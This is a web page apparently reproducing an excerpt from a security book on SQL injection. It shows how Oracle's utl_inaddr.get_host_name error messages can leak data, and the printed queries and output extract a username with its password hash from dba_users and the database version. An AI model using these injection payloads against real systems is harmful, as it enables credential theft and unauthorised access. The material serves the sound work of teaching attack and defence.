28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

Error Messages in Oracle<br />

Exploiting <strong>SQL</strong> <strong>Injection</strong> • Chapter 4 167<br />

Oracle also offers the possibility of extracting data via error messages. Depending on the<br />

database version, different PL/<strong>SQL</strong> functions in Oracle make it is possible to control the<br />

content of the error message. The best-known function is utl_inaddr. This function is<br />

responsible for the name resolution of hosts.<br />

<strong>SQL</strong>> select utl_inaddr.get_host_name('victim') from dual;<br />

ORA-29257: host victim unknown<br />

ORA-06512: at "SYS.UTL_INADDR", line 4<br />

ORA-06512: at "SYS.UTL_INADDR", line 35<br />

ORA-06512: at line 1<br />

In this case, it is possible to control the content of the error message. Whatever is passed<br />

to the function is printed in the error message.<br />

In Oracle, you can replace every value (e.g., a string) with a SELECT statement.<br />

The only limitation is that this SELECT statement must return exactly one column <strong>and</strong> one<br />

row. If not, you will get the error message ORA-01427: single-row subquery returns more than<br />

one row. This can be used as in the following examples from the <strong>SQL</strong>*Plus comm<strong>and</strong> line:<br />

<strong>SQL</strong>> select utl_inaddr.get_host_name((select username||'='||password<br />

from dba_users where rownum=1)) from dual;<br />

ORA-29257: host SYS=D4DF7931AB130E37 unknown<br />

ORA-06512: at "SYS.UTL_INADDR", line 4<br />

ORA-06512: at "SYS.UTL_INADDR", line 35<br />

ORA-06512: at line 1<br />

<strong>SQL</strong>> select utl_inaddr.get_host_name((select banner from v$version where<br />

rownum=1)) from dual;<br />

ORA-29257: host ORACLE DATABASE 10G RELEASE 10.2.0.1.0 – 64BIT PRODUCTION unknown<br />

ORA-06512: at "SYS.UTL_INADDR", line 4<br />

ORA-06512: at "SYS.UTL_INADDR", line 35<br />

ORA-06512: at line 1<br />

The utl_inaddr.get_host_name function can now be injected into a vulnerable URL.<br />

In Figure 4.9, the error message contains the current date of the database.

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!